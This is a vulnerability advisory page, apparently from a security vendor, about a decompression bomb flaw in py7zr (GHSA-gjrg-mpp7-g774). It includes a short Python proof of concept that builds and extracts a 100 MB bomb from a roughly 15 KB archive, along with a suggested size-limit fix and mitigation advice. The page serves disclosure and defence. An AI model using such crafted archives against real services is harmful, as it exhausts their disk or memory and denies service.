GHSA-gjrg-mpp7-g774
GHSA-gjrg-mpp7-g774 is a CWE-409 vulnerability in py7zr. O3 Security confirms whether GHSA-gjrg-mpp7-g774 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gjrg-mpp7-g774.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
py7zrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | py7zr | all versions | 1.1.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for py7zr. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update py7zr to 1.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gjrg-mpp7-g774 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gjrg-mpp7-g774 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gjrg-mpp7-g774. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gjrg-mpp7-g774 in your dependencies?
O3 detects GHSA-gjrg-mpp7-g774 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.